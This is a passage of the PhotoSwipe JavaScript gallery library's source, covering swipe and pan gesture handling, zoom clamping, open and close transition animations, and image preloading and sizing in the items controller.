\n\t\t\t\t\t\t\t\tframework.easing.sine.out, \n\t\t\t\t\t\t\t\tfunction(pos) {\n\t\t\t\t\t\t\t\t\t_panOffset[axis] = pos;\n\t\t\t\t\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// Reduces the speed by slowDownRatio (per 10ms)\n\t\t\tcalculateAnimOffset: function(axis) {\n\t\t\t\tif(!s.backAnimStarted[axis]) {\n\t\t\t\t\ts.speedDecelerationRatio[axis] = s.speedDecelerationRatio[axis] * (s.slowDownRatio[axis] + \n\t\t\t\t\t\t\t\t\t\t\t\ts.slowDownRatioReverse[axis] - \n\t\t\t\t\t\t\t\t\t\t\t\ts.slowDownRatioReverse[axis] * s.timeDiff / 10);\n\n\t\t\t\t\ts.speedDecelerationRatioAbs[axis] = Math.abs(s.lastFlickSpeed[axis] * s.speedDecelerationRatio[axis]);\n\t\t\t\t\ts.distanceOffset[axis] = s.lastFlickSpeed[axis] * s.speedDecelerationRatio[axis] * s.timeDiff;\n\t\t\t\t\t_panOffset[axis] += s.distanceOffset[axis];\n\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tpanAnimLoop: function() {\n\t\t\t\tif ( _animations.zoomPan ) {\n\t\t\t\t\t_animations.zoomPan.raf = _requestAF(s.panAnimLoop);\n\n\t\t\t\t\ts.now = _getCurrentTime();\n\t\t\t\t\ts.timeDiff = s.now - s.lastNow;\n\t\t\t\t\ts.lastNow = s.now;\n\t\t\t\t\t\n\t\t\t\t\ts.calculateAnimOffset('x');\n\t\t\t\t\ts.calculateAnimOffset('y');\n\n\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\t\n\t\t\t\t\ts.calculateOverBoundsAnimOffset('x');\n\t\t\t\t\ts.calculateOverBoundsAnimOffset('y');\n\n\n\t\t\t\t\tif (s.speedDecelerationRatioAbs.x < 0.05 && s.speedDecelerationRatioAbs.y < 0.05) {\n\n\t\t\t\t\t\t// round pan position\n\t\t\t\t\t\t_panOffset.x = Math.round(_panOffset.x);\n\t\t\t\t\t\t_panOffset.y = Math.round(_panOffset.y);\n\t\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\t\t\n\t\t\t\t\t\t_stopAnimation('zoomPan');\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t};\n\t\treturn s;\n\t},\n\n\t_completePanGesture = function(animData) {\n\t\t// calculate swipe speed for Y axis (paanning)\n\t\tanimData.calculateSwipeSpeed('y');\n\n\t\t_currPanBounds = self.currItem.bounds;\n\t\t\n\t\tanimData.backAnimDestination = {};\n\t\tanimData.backAnimStarted = {};\n\n\t\t// Avoid acceleration animation if speed is too low\n\t\tif(Math.abs(animData.lastFlickSpeed.x) <= 0.05 && Math.abs(animData.lastFlickSpeed.y) <= 0.05 ) {\n\t\t\tanimData.speedDecelerationRatioAbs.x = animData.speedDecelerationRatioAbs.y = 0;\n\n\t\t\t// Run pan drag release animation. E.g. if you drag image and release finger without momentum.\n\t\t\tanimData.calculateOverBoundsAnimOffset('x');\n\t\t\tanimData.calculateOverBoundsAnimOffset('y');\n\t\t\treturn true;\n\t\t}\n\n\t\t// Animation loop that controls the acceleration after pan gesture ends\n\t\t_registerStartAnimation('zoomPan');\n\t\tanimData.lastNow = _getCurrentTime();\n\t\tanimData.panAnimLoop();\n\t},\n\n\n\t_finishSwipeMainScrollGesture = function(gestureType, _releaseAnimData) {\n\t\tvar itemChanged;\n\t\tif(!_mainScrollAnimating) {\n\t\t\t_currZoomedItemIndex = _currentItemIndex;\n\t\t}\n\n\n\t\t\n\t\tvar itemsDiff;\n\n\t\tif(gestureType === 'swipe') {\n\t\t\tvar totalShiftDist = _currPoint.x - _startPoint.x,\n\t\t\t\tisFastLastFlick = _releaseAnimData.lastFlickDist.x < 10;\n\n\t\t\t// if container is shifted for more than MIN_SWIPE_DISTANCE, \n\t\t\t// and last flick gesture was in right direction\n\t\t\tif(totalShiftDist > MIN_SWIPE_DISTANCE && \n\t\t\t\t(isFastLastFlick || _releaseAnimData.lastFlickOffset.x > 20) ) {\n\t\t\t\t// go to prev item\n\t\t\t\titemsDiff = -1;\n\t\t\t} else if(totalShiftDist < -MIN_SWIPE_DISTANCE && \n\t\t\t\t(isFastLastFlick || _releaseAnimData.lastFlickOffset.x < -20) ) {\n\t\t\t\t// go to next item\n\t\t\t\titemsDiff = 1;\n\t\t\t}\n\t\t}\n\n\t\tvar nextCircle;\n\n\t\tif(itemsDiff) {\n\t\t\t\n\t\t\t_currentItemIndex += itemsDiff;\n\n\t\t\tif(_currentItemIndex < 0) {\n\t\t\t\t_currentItemIndex = _options.loop ? _getNumItems()-1 : 0;\n\t\t\t\tnextCircle = true;\n\t\t\t} else if(_currentItemIndex >= _getNumItems()) {\n\t\t\t\t_currentItemIndex = _options.loop ? 0 : _getNumItems()-1;\n\t\t\t\tnextCircle = true;\n\t\t\t}\n\n\t\t\tif(!nextCircle || _options.loop) {\n\t\t\t\t_indexDiff += itemsDiff;\n\t\t\t\t_currPositionIndex -= itemsDiff;\n\t\t\t\titemChanged = true;\n\t\t\t}\n\t\t\t\n\n\t\t\t\n\t\t}\n\n\t\tvar animateToX = _slideSize.x * _currPositionIndex;\n\t\tvar animateToDist = Math.abs( animateToX - _mainScrollPos.x );\n\t\tvar finishAnimDuration;\n\n\n\t\tif(!itemChanged && animateToX > _mainScrollPos.x !== _releaseAnimData.lastFlickSpeed.x > 0) {\n\t\t\t// \"return to current\" duration, e.g. when dragging from slide 0 to -1\n\t\t\tfinishAnimDuration = 333; \n\t\t} else {\n\t\t\tfinishAnimDuration = Math.abs(_releaseAnimData.lastFlickSpeed.x) > 0 ? \n\t\t\t\t\t\t\t\t\tanimateToDist / Math.abs(_releaseAnimData.lastFlickSpeed.x) : \n\t\t\t\t\t\t\t\t\t333;\n\n\t\t\tfinishAnimDuration = Math.min(finishAnimDuration, 400);\n\t\t\tfinishAnimDuration = Math.max(finishAnimDuration, 250);\n\t\t}\n\n\t\tif(_currZoomedItemIndex === _currentItemIndex) {\n\t\t\titemChanged = false;\n\t\t}\n\t\t\n\t\t_mainScrollAnimating = true;\n\t\t\n\t\t_shout('mainScrollAnimStart');\n\n\t\t_animateProp('mainScroll', _mainScrollPos.x, animateToX, finishAnimDuration, framework.easing.cubic.out, \n\t\t\t_moveMainScroll,\n\t\t\tfunction() {\n\t\t\t\t_stopAllAnimations();\n\t\t\t\t_mainScrollAnimating = false;\n\t\t\t\t_currZoomedItemIndex = -1;\n\t\t\t\t\n\t\t\t\tif(itemChanged || _currZoomedItemIndex !== _currentItemIndex) {\n\t\t\t\t\tself.updateCurrItem();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t_shout('mainScrollAnimComplete');\n\t\t\t}\n\t\t);\n\n\t\tif(itemChanged) {\n\t\t\tself.updateCurrItem(true);\n\t\t}\n\n\t\treturn itemChanged;\n\t},\n\n\t_calculateZoomLevel = function(touchesDistance) {\n\t\treturn  1 / _startPointsDistance * touchesDistance * _startZoomLevel;\n\t},\n\n\t// Resets zoom if it's out of bounds\n\t_completeZoomGesture = function() {\n\t\tvar destZoomLevel = _currZoomLevel,\n\t\t\tminZoomLevel = _getMinZoomLevel(),\n\t\t\tmaxZoomLevel = _getMaxZoomLevel();\n\n\t\tif ( _currZoomLevel < minZoomLevel ) {\n\t\t\tdestZoomLevel = minZoomLevel;\n\t\t} else if ( _currZoomLevel > maxZoomLevel ) {\n\t\t\tdestZoomLevel = maxZoomLevel;\n\t\t}\n\n\t\tvar destOpacity = 1,\n\t\t\tonUpdate,\n\t\t\tinitialOpacity = _bgOpacity;\n\n\t\tif(_opacityChanged && !_isZoomingIn && !_wasOverInitialZoom && _currZoomLevel < minZoomLevel) {\n\t\t\t//_closedByScroll = true;\n\t\t\tself.close();\n\t\t\treturn true;\n\t\t}\n\n\t\tif(_opacityChanged) {\n\t\t\tonUpdate = function(now) {\n\t\t\t\t_applyBgOpacity(  (destOpacity - initialOpacity) * now + initialOpacity );\n\t\t\t};\n\t\t}\n\n\t\tself.zoomTo(destZoomLevel, 0, 200,  framework.easing.cubic.out, onUpdate);\n\t\treturn true;\n\t};\n\n\n_registerModule('Gestures', {\n\tpublicMethods: {\n\n\t\tinitGestures: function() {\n\n\t\t\t// helper function that builds touch/pointer/mouse events\n\t\t\tvar addEventNames = function(pref, down, move, up, cancel) {\n\t\t\t\t_dragStartEvent = pref + down;\n\t\t\t\t_dragMoveEvent = pref + move;\n\t\t\t\t_dragEndEvent = pref + up;\n\t\t\t\tif(cancel) {\n\t\t\t\t\t_dragCancelEvent = pref + cancel;\n\t\t\t\t} else {\n\t\t\t\t\t_dragCancelEvent = '';\n\t\t\t\t}\n\t\t\t};\n\n\t\t\t_pointerEventEnabled = _features.pointerEvent;\n\t\t\tif(_pointerEventEnabled && _features.touch) {\n\t\t\t\t// we don't need touch events, if browser supports pointer events\n\t\t\t\t_features.touch = false;\n\t\t\t}\n\n\t\t\tif(_pointerEventEnabled) {\n\t\t\t\tif(navigator.pointerEnabled) {\n\t\t\t\t\taddEventNames('pointer', 'down', 'move', 'up', 'cancel');\n\t\t\t\t} else {\n\t\t\t\t\t// IE10 pointer events are case-sensitive\n\t\t\t\t\taddEventNames('MSPointer', 'Down', 'Move', 'Up', 'Cancel');\n\t\t\t\t}\n\t\t\t} else if(_features.touch) {\n\t\t\t\taddEventNames('touch', 'start', 'move', 'end', 'cancel');\n\t\t\t\t_likelyTouchDevice = true;\n\t\t\t} else {\n\t\t\t\taddEventNames('mouse', 'down', 'move', 'up');\t\n\t\t\t}\n\n\t\t\t_upMoveEvents = _dragMoveEvent + ' ' + _dragEndEvent  + ' ' +  _dragCancelEvent;\n\t\t\t_downEvents = _dragStartEvent;\n\n\t\t\tif(_pointerEventEnabled && !_likelyTouchDevice) {\n\t\t\t\t_likelyTouchDevice = (navigator.maxTouchPoints > 1) || (navigator.msMaxTouchPoints > 1);\n\t\t\t}\n\t\t\t// make variable public\n\t\t\tself.likelyTouchDevice = _likelyTouchDevice; \n\t\t\t\n\t\t\t_globalEventHandlers[_dragStartEvent] = _onDragStart;\n\t\t\t_globalEventHandlers[_dragMoveEvent] = _onDragMove;\n\t\t\t_globalEventHandlers[_dragEndEvent] = _onDragRelease; // the Kraken\n\n\t\t\tif(_dragCancelEvent) {\n\t\t\t\t_globalEventHandlers[_dragCancelEvent] = _globalEventHandlers[_dragEndEvent];\n\t\t\t}\n\n\t\t\t// Bind mouse events on device with detected hardware touch support, in case it supports multiple types of input.\n\t\t\tif(_features.touch) {\n\t\t\t\t_downEvents += ' mousedown';\n\t\t\t\t_upMoveEvents += ' mousemove mouseup';\n\t\t\t\t_globalEventHandlers.mousedown = _globalEventHandlers[_dragStartEvent];\n\t\t\t\t_globalEventHandlers.mousemove = _globalEventHandlers[_dragMoveEvent];\n\t\t\t\t_globalEventHandlers.mouseup = _globalEventHandlers[_dragEndEvent];\n\t\t\t}\n\n\t\t\tif(!_likelyTouchDevice) {\n\t\t\t\t// don't allow pan to next slide from zoomed state on Desktop\n\t\t\t\t_options.allowPanToNext = false;\n\t\t\t}\n\t\t}\n\n\t}\n});\n\n\n/*>>gestures*/\n\n/*>>show-hide-transition*/\n/**\n * show-hide-transition.js:\n *\n * Manages initial opening or closing transition.\n *\n * If you're not planning to use transition for gallery at all,\n * you may set options hideAnimationDuration and showAnimationDuration to 0,\n * and just delete startAnimation function.\n * \n */\n\n\nvar _showOrHideTimeout,\n\t_showOrHide = function(item, img, out, completeFn) {\n\n\t\tif(_showOrHideTimeout) {\n\t\t\tclearTimeout(_showOrHideTimeout);\n\t\t}\n\n\t\t_initialZoomRunning = true;\n\t\t_initialContentSet = true;\n\t\t\n\t\t// dimensions of small thumbnail {x:,y:,w:}.\n\t\t// Height is optional, as calculated based on large image.\n\t\tvar thumbBounds; \n\t\tif(item.initialLayout) {\n\t\t\tthumbBounds = item.initialLayout;\n\t\t\titem.initialLayout = null;\n\t\t} else {\n\t\t\tthumbBounds = _options.getThumbBoundsFn && _options.getThumbBoundsFn(_currentItemIndex);\n\t\t}\n\n\t\tvar duration = out ? _options.hideAnimationDuration : _options.showAnimationDuration;\n\n\t\tvar onComplete = function() {\n\t\t\t_stopAnimation('initialZoom');\n\t\t\tif(!out) {\n\t\t\t\t_applyBgOpacity(1);\n\t\t\t\tif(img) {\n\t\t\t\t\timg.style.display = 'block';\n\t\t\t\t}\n\t\t\t\tframework.addClass(template, 'pswp--animated-in');\n\t\t\t\t_shout('initialZoom' + (out ? 'OutEnd' : 'InEnd'));\n\t\t\t} else {\n\t\t\t\tself.template.removeAttribute('style');\n\t\t\t\tself.bg.removeAttribute('style');\n\t\t\t}\n\n\t\t\tif(completeFn) {\n\t\t\t\tcompleteFn();\n\t\t\t}\n\t\t\t_initialZoomRunning = false;\n\t\t};\n\n\t\t// if bounds aren't provided, just open gallery without animation\n\t\tif(!duration || !thumbBounds || thumbBounds.x === undefined) {\n\n\t\t\t_shout('initialZoom' + (out ? 'Out' : 'In') );\n\n\t\t\t_currZoomLevel = item.initialZoomLevel;\n\t\t\t_equalizePoints(_panOffset,  item.initialPosition );\n\t\t\t_applyCurrentZoomPan();\n\n\t\t\ttemplate.style.opacity = out ? 0 : 1;\n\t\t\t_applyBgOpacity(1);\n\n\t\t\tif(duration) {\n\t\t\t\tsetTimeout(function() {\n\t\t\t\t\tonComplete();\n\t\t\t\t}, duration);\n\t\t\t} else {\n\t\t\t\tonComplete();\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tvar startAnimation = function() {\n\t\t\tvar closeWithRaf = _closedByScroll,\n\t\t\t\tfadeEverything = !self.currItem.src || self.currItem.loadError || _options.showHideOpacity;\n\t\t\t\n\t\t\t// apply hw-acceleration to image\n\t\t\tif(item.miniImg) {\n\t\t\t\titem.miniImg.style.webkitBackfaceVisibility = 'hidden';\n\t\t\t}\n\n\t\t\tif(!out) {\n\t\t\t\t_currZoomLevel = thumbBounds.w / item.w;\n\t\t\t\t_panOffset.x = thumbBounds.x;\n\t\t\t\t_panOffset.y = thumbBounds.y - _initalWindowScrollY;\n\n\t\t\t\tself[fadeEverything ? 'template' : 'bg'].style.opacity = 0.001;\n\t\t\t\t_applyCurrentZoomPan();\n\t\t\t}\n\n\t\t\t_registerStartAnimation('initialZoom');\n\t\t\t\n\t\t\tif(out && !closeWithRaf) {\n\t\t\t\tframework.removeClass(template, 'pswp--animated-in');\n\t\t\t}\n\n\t\t\tif(fadeEverything) {\n\t\t\t\tif(out) {\n\t\t\t\t\tframework[ (closeWithRaf ? 'remove' : 'add') + 'Class' ](template, 'pswp--animate_opacity');\n\t\t\t\t} else {\n\t\t\t\t\tsetTimeout(function() {\n\t\t\t\t\t\tframework.addClass(template, 'pswp--animate_opacity');\n\t\t\t\t\t}, 30);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_showOrHideTimeout = setTimeout(function() {\n\n\t\t\t\t_shout('initialZoom' + (out ? 'Out' : 'In') );\n\t\t\t\t\n\n\t\t\t\tif(!out) {\n\n\t\t\t\t\t// \"in\" animation always uses CSS transitions (instead of rAF).\n\t\t\t\t\t// CSS transition work faster here, \n\t\t\t\t\t// as developer may also want to animate other things, \n\t\t\t\t\t// like ui on top of sliding area, which can be animated just via CSS\n\t\t\t\t\t\n\t\t\t\t\t_currZoomLevel = item.initialZoomLevel;\n\t\t\t\t\t_equalizePoints(_panOffset,  item.initialPosition );\n\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\t_applyBgOpacity(1);\n\n\t\t\t\t\tif(fadeEverything) {\n\t\t\t\t\t\ttemplate.style.opacity = 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t_applyBgOpacity(1);\n\t\t\t\t\t}\n\n\t\t\t\t\t_showOrHideTimeout = setTimeout(onComplete, duration + 20);\n\t\t\t\t} else {\n\n\t\t\t\t\t// \"out\" animation uses rAF only when PhotoSwipe is closed by browser scroll, to recalculate position\n\t\t\t\t\tvar destZoomLevel = thumbBounds.w / item.w,\n\t\t\t\t\t\tinitialPanOffset = {\n\t\t\t\t\t\t\tx: _panOffset.x,\n\t\t\t\t\t\t\ty: _panOffset.y\n\t\t\t\t\t\t},\n\t\t\t\t\t\tinitialZoomLevel = _currZoomLevel,\n\t\t\t\t\t\tinitalBgOpacity = _bgOpacity,\n\t\t\t\t\t\tonUpdate = function(now) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(now === 1) {\n\t\t\t\t\t\t\t\t_currZoomLevel = destZoomLevel;\n\t\t\t\t\t\t\t\t_panOffset.x = thumbBounds.x;\n\t\t\t\t\t\t\t\t_panOffset.y = thumbBounds.y  - _currentWindowScrollY;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t_currZoomLevel = (destZoomLevel - initialZoomLevel) * now + initialZoomLevel;\n\t\t\t\t\t\t\t\t_panOffset.x = (thumbBounds.x - initialPanOffset.x) * now + initialPanOffset.x;\n\t\t\t\t\t\t\t\t_panOffset.y = (thumbBounds.y - _currentWindowScrollY - initialPanOffset.y) * now + initialPanOffset.y;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\t\t\tif(fadeEverything) {\n\t\t\t\t\t\t\t\ttemplate.style.opacity = 1 - now;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t_applyBgOpacity( initalBgOpacity - now * initalBgOpacity );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t};\n\n\t\t\t\t\tif(closeWithRaf) {\n\t\t\t\t\t\t_animateProp('initialZoom', 0, 1, duration, framework.easing.cubic.out, onUpdate, onComplete);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tonUpdate(1);\n\t\t\t\t\t\t_showOrHideTimeout = setTimeout(onComplete, duration + 20);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t}, out ? 25 : 90); // Main purpose of this delay is to give browser time to paint and\n\t\t\t\t\t// create composite layers of PhotoSwipe UI parts (background, controls, caption, arrows).\n\t\t\t\t\t// Which avoids lag at the beginning of scale transition.\n\t\t};\n\t\tstartAnimation();\n\n\t\t\n\t};\n\n/*>>show-hide-transition*/\n\n/*>>items-controller*/\n/**\n*\n* Controller manages gallery items, their dimensions, and their content.\n* \n*/\n\nvar _items,\n\t_tempPanAreaSize = {},\n\t_imagesToAppendPool = [],\n\t_initialContentSet,\n\t_initialZoomRunning,\n\t_controllerDefaultOptions = {\n\t\tindex: 0,\n\t\terrorMsg: '<div class=\"pswp__error-msg\"><a href=\"%url%\" target=\"_blank\">The image</a> could not be loaded.</div>',\n\t\tforceProgressiveLoading: false, // TODO\n\t\tpreload: [1,1],\n\t\tgetNumItemsFn: function() {\n\t\t\treturn _items.length;\n\t\t}\n\t};\n\n\nvar _getItemAt,\n\t_getNumItems,\n\t_initialIsLoop,\n\t_getZeroBounds = function() {\n\t\treturn {\n\t\t\tcenter:{x:0,y:0}, \n\t\t\tmax:{x:0,y:0}, \n\t\t\tmin:{x:0,y:0}\n\t\t};\n\t},\n\t_calculateSingleItemPanBounds = function(item, realPanElementW, realPanElementH ) {\n\t\tvar bounds = item.bounds;\n\n\t\t// position of element when it's centered\n\t\tbounds.center.x = Math.round((_tempPanAreaSize.x - realPanElementW) / 2);\n\t\tbounds.center.y = Math.round((_tempPanAreaSize.y - realPanElementH) / 2) + item.vGap.top;\n\n\t\t// maximum pan position\n\t\tbounds.max.x = (realPanElementW > _tempPanAreaSize.x) ? \n\t\t\t\t\t\t\tMath.round(_tempPanAreaSize.x - realPanElementW) : \n\t\t\t\t\t\t\tbounds.center.x;\n\t\t\n\t\tbounds.max.y = (realPanElementH > _tempPanAreaSize.y) ? \n\t\t\t\t\t\t\tMath.round(_tempPanAreaSize.y - realPanElementH) + item.vGap.top : \n\t\t\t\t\t\t\tbounds.center.y;\n\t\t\n\t\t// minimum pan position\n\t\tbounds.min.x = (realPanElementW > _tempPanAreaSize.x) ? 0 : bounds.center.x;\n\t\tbounds.min.y = (realPanElementH > _tempPanAreaSize.y) ? item.vGap.top : bounds.center.y;\n\t},\n\t_calculateItemSize = function(item, viewportSize, zoomLevel) {\n\n\t\tif (item.src && !item.loadError) {\n\t\t\tvar isInitial = !zoomLevel;\n\t\t\t\n\t\t\tif(isInitial) {\n\t\t\t\tif(!item.vGap) {\n\t\t\t\t\titem.vGap = {top:0,bottom:0};\n\t\t\t\t}\n\t\t\t\t// allows overriding vertical margin for individual items\n\t\t\t\t_shout('parseVerticalMargin', item);\n\t\t\t}\n\n\n\t\t\t_tempPanAreaSize.x = viewportSize.x;\n\t\t\t_tempPanAreaSize.y = viewportSize.y - item.vGap.top - item.vGap.bottom;\n\n\t\t\tif (isInitial) {\n\t\t\t\tvar hRatio = _tempPanAreaSize.x / item.w;\n\t\t\t\tvar vRatio = _tempPanAreaSize.y / item.h;\n\n\t\t\t\titem.fitRatio = hRatio < vRatio ? hRatio : vRatio;\n\t\t\t\t//item.fillRatio = hRatio > vRatio ? hRatio : vRatio;\n\n\t\t\t\tvar scaleMode = _options.scaleMode;\n\n\t\t\t\tif (scaleMode === 'orig') {\n\t\t\t\t\tzoomLevel = 1;\n\t\t\t\t} else if (scaleMode === 'fit') {\n\t\t\t\t\tzoomLevel = item.fitRatio;\n\t\t\t\t}\n\n\t\t\t\tif (zoomLevel > 1) {\n\t\t\t\t\tzoomLevel = 1;\n\t\t\t\t}\n\n\t\t\t\titem.initialZoomLevel = zoomLevel;\n\t\t\t\t\n\t\t\t\tif(!item.bounds) {\n\t\t\t\t\t// reuse bounds object\n\t\t\t\t\titem.bounds = _getZeroBounds(); \n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(!zoomLevel) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t_calculateSingleItemPanBounds(item, item.w * zoomLevel, item.h * zoomLevel);\n\n\t\t\tif (isInitial && zoomLevel === item.initialZoomLevel) {\n\t\t\t\titem.initialPosition = item.bounds.center;\n\t\t\t}\n\n\t\t\treturn item.bounds;\n\t\t} else {\n\t\t\titem.w = item.h = 0;\n\t\t\titem.initialZoomLevel = item.fitRatio = 1;\n\t\t\titem.bounds = _getZeroBounds();\n\t\t\titem.initialPosition = item.bounds.center;\n\n\t\t\t// if it's not image, we return zero bounds (content is not zoomable)\n\t\t\treturn item.bounds;\n\t\t}\n\t\treturn false;\n\t},\n\n\t\n\n\n\t_appendImage = function(index, item, baseDiv, img, preventAnimation, keepPlaceholder) {\n\t\t\n\n\t\tif(item.loadError) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(img) {\n\n\t\t\titem.imageAppended = true;\n\t\t\t_setImageSize(item, img, (item === self.currItem && _renderMaxResolution) );\n\t\t\t\n\t\t\tbaseDiv.appendChild(img);\n\n\t\t\tif(keepPlaceholder) {\n\t\t\t\tsetTimeout(function() {\n\t\t\t\t\tif(item && item.loaded && item.placeholder) {\n\t\t\t\t\t\titem.placeholder.style.display = 'none';\n\t\t\t\t\t\titem.placeholder = null;\n\t\t\t\t\t}\n\t\t\t\t}, 500);\n\t\t\t}\n\t\t}\n\t},\n\t\n\n\n\t_preloadImage = function(item) {\n\t\titem.loading = true;\n\t\titem.loaded = false;\n\t\tvar img = item.img = framework.createEl('pswp__img', 'img');\n\t\tvar onComplete = function() {\n\t\t\titem.loading = false;\n\t\t\titem.loaded = true;\n\n\t\t\tif(item.loadComplete) {\n\t\t\t\titem.loadComplete(item);\n\t\t\t} else {\n\t\t\t\titem.img = null; // no need to store image object\n\t\t\t}\n\t\t\timg.onload = img.onerror = null;\n\t\t\timg = null;\n\t\t};\n\t\timg.onload = onComplete;\n\t\timg.onerror = function() {\n\t\t\titem.loadError = true;\n\t\t\tonComplete();\n\t\t};\t\t\n\n\t\timg.src = item.src;// + '?a=' + Math.random();\n\n\t\treturn img;\n\t},\n\t_checkForError = function(item, cleanUp) {\n\t\tif(item.src && item.loadError && item.container) {\n\n\t\t\tif(cleanUp) {\n\t\t\t\titem.container.innerHTML = '';\n\t\t\t}\n\n\t\t\titem.container.innerHTML = _options.errorMsg.replace('%url%',  item.src );\n\t\t\treturn true;\n\t\t\t\n\t\t}\n\t},\n\t_setImageSize = function(item, img, maxRes) {\n\t\tif(!item.src) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(!img) {\n\t\t\timg = item.container.lastChild;\n\t\t}\n\n\t\tvar w = maxRes ? item.w : Math.round(item.w * item.fitRatio),\n\t\t\th = maxRes ? item.h : Math.round(item.h * item.fitRatio);\n\t\t\n\t\tif(item.placeholder && !item.loaded) {\n\t\t\titem.placeholder.style.width = w + 'px';\n\t\t\titem.placeholder.style.height = h + 'px';\n\t\t}\n\n\t\timg.style.width = w + 'px';\n\t\timg.style.height = h + 'px';\n\t},\n\t_appendImagesPool = function() {\n\n\t\tif(_imagesToAppendPool.length) {\n\t\t\tvar poolItem;\n\n\t\t\tfor(var i = 0; i < _imagesToAppendPool.length; i++) {\n\t\t\t\tpoolItem = _imagesToAppendPool[i];\n\t\t\t\tif( poolItem.holder.index === poolItem.index ) {\n\t\t\t\t\t_appendImage(poolItem.index, poolItem.item, poolItem.baseDiv, poolItem.img, false, poolItem.clearPlaceholder);\n\t\t\t\t}\n\t\t\t}\n\t\t\t_imagesToAppendPool = [];\n\t\t}\n\t};\n\t\n\n\n_registerModule('Controller', {\n\n\tpublicMethods: {\n\n\t\tlazyLoadItem: function(index) {\n\t\t\tindex = _getLoopedId(index);\n\t\t\tvar item = _getItemAt(index);\n\n\t\t\tif(!item || ((item.loaded || item.loading) && !_itemsNeedUpdate)) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t_shout('gettingData', index, item);\n\n\t\t\tif (!item.src) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t_preloadImage(item);\n\t\t},\n\t\tinitController: function() {\n\t\t\tframework.extend(_options, _controllerDefaultOptions, true);\n\t\t\tself.items = _items = items;\n\t\t\t_getItemAt = self.getItemAt;\n\t\t\t_getNumItems = _options.getNumItemsFn; //self.getNumItems;\n\n\n\n\t\t\t_initialIsLoop = _options.loop;\n\t\t\tif(_getNumItems() < 3) {\n\t\t\t\t_options.loop = false; // disable loop if less then 3 items\n\t\t\t}\n\n\t\t\t_listen('beforeChange', function(diff) {\n\n\t\t\t\tvar p = _options.preload,\n\t\t\t\t\tisNext = diff === null ? true : (diff >= 0),\n\t\t\t\t\tpreloadBefore = Math.min(p[0], _getNumItems() ),\n\t\t\t\t\tpreloadAfter = Math.min(p[1], _getNumItems() ),\n\t\t\t\t\ti;\n\n\n\t\t\t\tfor(i = 1; i <= (isNext ? preloadAfter : preloadBefore); i++) {\n\t\t\t\t\tself.lazyLoadItem(_currentItemIndex+i);\n\t\t\t\t}\n\t\t\t\tfor(i = 1; i <= (isNext ? preloadBefore : preloadAfter); i++) {\n\t\t\t\t\tself.lazyLoadItem(_currentItemIndex-i);\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t_listen('initialLayout', function() {\n\t\t\t\tself.currItem.initialLayout = _options.getThumbBoundsFn && _options.getThumbBoundsFn(_currentItemIndex);\n\t\t\t});\n\n\t\t\t_listen('mainScrollAnimComplete', _appendImagesPool);\n\t\t\t_listen('initialZoomInEnd', _appendImagesPool);\n\n\n\n\t\t\t_listen('destroy', function() {\n\t\t\t\tvar item;\n\t\t\t\tfor(var i = 0; i < _items.length; i++) {\n\t\t\t\t\titem = _items[i];\n\t\t\t\t\t// remove reference to DOM elements, for GC\n\t\t\t\t\tif(item.container) {\n\t\t\t\t\t\titem.container = null; \n\t\t\t\t\t}\n\t\t\t\t\tif(item.placeholder) {\n\t\t\t\t\t\titem.placeholder = null;\n\t\t\t\t\t}\n\t\t\t\t\tif(item.img) {\n\t\t\t\t\t\titem.img = null;\n\t\t\t\t\t}\n\t\t\t\t\tif(item.preloader) {\n\t\t\t\t\t\titem.preloader = null;\n\t\t\t\t\t}\n\t\t\t\t\tif(item.loadError) {\n\t\t\t\t\t\titem.loaded = item.loadError = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t_imagesToAppendPool = null;\n\t\t\t});\n\t\t},\n\n\n\t\tgetItemAt: function(index) {\n\t\t\tif (index >= 0) {\n\t\t\t\treturn _items[index] !== undefined ? _items[index] : false;\n\t\t\t}\n\t\t\treturn false;\n\t\t},\n\n\t\tallowProgressiveImg: function() {\n\t\t\t// 1. Progressive image loading isn't working on webkit/blink \n\t\t\t//    when hw-acceleration (e.g. translateZ) is applied to IMG element.\n\t\t\t//    That's why in PhotoSwipe parent element gets zoom transform, not image itself.\n\t\t\t//    \n\t\t\t// 2. Progressive image loading sometimes blinks in webkit/blink when applying animation to parent element.\n\t\t\t//    That's why it's disabled on touch devices (mainly because of swipe transition)\n\t\t\t//    \n\t\t\t// 3. Progressive image loading sometimes doesn't work in IE (up to 11).\n\n\t\t\t// Don't allow progressive loading on non-large touch devices\n\t\t\treturn _options.forceProgressiveLoading || !_likelyTouchDevice || _options.mouseUsed || screen.width > 1200; \n\t\t\t// 1200 - to eliminate touch devices with large screen (like Chromebook Pixel)\n\t\t},\n\n\t\tsetContent: function(holder, index) {\n\n\t\t\tif(_options.loop) {\n\t\t\t\tindex = _getLoopedId(index);\n\t\t\t}\n\n\t\t\tvar prevItem = self.getItemAt(holder.index);\n\t\t\tif(prevItem) {\n\t\t\t\tprevItem.container = null;\n\t\t\t}\n\t\n\t\t\tvar item = 